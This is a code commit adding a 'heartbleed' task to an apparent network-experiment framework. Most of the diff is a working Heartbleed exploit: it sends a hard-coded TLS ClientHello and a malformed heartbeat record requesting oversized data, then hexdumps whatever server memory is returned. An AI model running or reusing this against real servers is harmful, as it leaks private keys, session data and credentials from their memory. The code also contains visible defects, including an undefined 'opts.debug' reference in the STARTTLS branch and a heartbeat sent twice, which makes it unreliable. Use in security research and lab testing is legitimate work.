task for heartbleed attack

tasks/network_attacks/heartbleed2/__init__.py

@@ -0,0 +1,28 @@
+from netunicorn.base.task import Task
+from netunicorn.base import Failure, Result, Success
+from .heart_bleed   import sendHeartbeat
+
+class Heartbleed(Task):
+    def __init__(
+        self,
+        IPaddress: str,
+        port=443,
+        starttls=False,
+        debug=False,
+        *args,
+        **kwargs
+    ):
+        self.IPaddress = IPaddress
+        self.port = port
+        self.starttls = starttls
+        self.debug = debug
+        super().__init__(*args, **kwargs)
+
+    def run(self):
+        return sendHeartbeat(
+            IPaddress = self.IPaddress,
+            port = self.port,
+            starttls = self.starttls,
+            debug = self.debug
+        )
+

tasks/network_attacks/heartbleed2/heart_bleed.py

@@ -0,0 +1,154 @@
+import sys
+import struct
+import socket
+import time
+import select
+import re
+import codecs
+import socket as sock
+from netunicorn.base.task import Task
+from netunicorn.base import Failure, Result, Success
+
+
+decode_hex = codecs.getdecoder('hex_codec')
+
+
+def h2bin(x):
+        return decode_hex(x.replace(' ', '').replace('\n', ''))[0]
+
+hello = h2bin('''
+        16 03 02 00  dc 01 00 00 d8 03 02 53
+        43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
+        bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
+        00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
+        00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
+        c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
+        c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
+        c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
+        c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
+        00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
+        03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
+        00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
+        00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
+        00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
+        00 0f 00 01 01
+        ''')
+
+hb = h2bin('''
+        18 03 02 00 03
+        01 40 00
+        ''')
+
+def hexdump(s):
+    for b in range(0, len(s), 16):
+        lin = [c for c in s[b : b + 16]]
+        hxdat = ' '.join('%02X' % c for c in lin)
+        pdat = ''.join(chr(c) if 32 <= c <= 126 else '.' for c in lin)
+        print( '  %04x: %-48s %s' % (b, hxdat, pdat))
+    print()
+
+def recvall(s, length, timeout=5):
+    endtime = time.time() + timeout
+    rdata = b''
+    remain = length
+    while remain > 0:
+        rtime = endtime - time.time()
+        if rtime < 0:
+            print('no time')
+            return None
+        r, w, e = select.select([s], [], [], 5)
+        if s in r:
+            data = s.recv(remain)
+            # EOF?
+            if data == b'':
+                print('EOF')
+                return None
+            if not data:
+                print('no data', data)
+                return None
+            rdata += data
+            remain -= len(data)
+    print(f'rdata: {rdata}')
+    return rdata
+
+
+def recvmsg(s):
+    hdr = recvall(s, 5)
+    print(f'hdr: {hdr}')
+    if hdr is None:
+        print( 'Unexpected EOF receiving record header - server closed connection')
+        return None, None, None
+    typ, ver, ln = struct.unpack('>BHH', hdr)
+    pay = recvall(s, ln, 10)
+    print(f'pay: {pay}')
+    if pay is None:
+        print( 'Unexpected EOF receiving record payload - server closed connection')
+        return None, None, None
+    print( ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
+    return typ, ver, pay
+
+def hit_hb(s):
+    s.send(hb)
+    while True:
+        typ, ver, pay = recvmsg(s)
+        if typ is None:
+            return Failure('No heartbeat response received, server likely not vulnerable')
+
+        if typ == 24:
+            print( 'Received heartbeat response:')
+            hexdump(pay)
+            if len(pay) > 3:
+                return Success('Server is vulnerable, server returned more data than it should ')
+            else:
+                return Failure('Server processed malformed heartbeat, but did not return any extra data')
+
+        if typ == 21:
+            print( 'Received alert:')
+            hexdump(pay)
+            return Failure('Server returned error, likely not vulnerable')
+
+def sendHeartbeat(
+    IPaddress: str,
+    port: int,
+    starttls: bool,
+    debug: bool,
+):
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    print( 'Connecting...')
+    sys.stdout.flush()
+    s.connect((IPaddress, port))
+
+    if starttls:
+        re = s.recv(4096)
+        if opts.debug: print( re)
+        s.send(b'ehlo starttlstest\n')
+        re = s.recv(1024)
+        if debug: print( re)
+        if not b'STARTTLS' in re:
+            if debug: print( re)
+            return Failure('STARTTLS not supported')
+        s.send(b'starttls\n')
+        re = s.recv(1024)
+
+    print( 'Sending Client Hello...')
+    sys.stdout.flush()
+    s.send(hello)
+    print( 'Waiting for Server Hello...')
+    sys.stdout.flush()
+    i = 0
+    while True:
+        print(f'\nIteration number {i}')
+        typ, ver, pay = recvmsg(s)
+        if typ == None:
+            return Failure('Server closed connection without sending Server Hello.')
+        # Look for server hello done message.
+        if typ == 22 and pay[0] == 0x0E:
+            break
+        i += 1
+
+    print( 'Sending heartbeat request...')
+    sys.stdout.flush()
+    s.send(hb)
+    return hit_hb(s)
+
+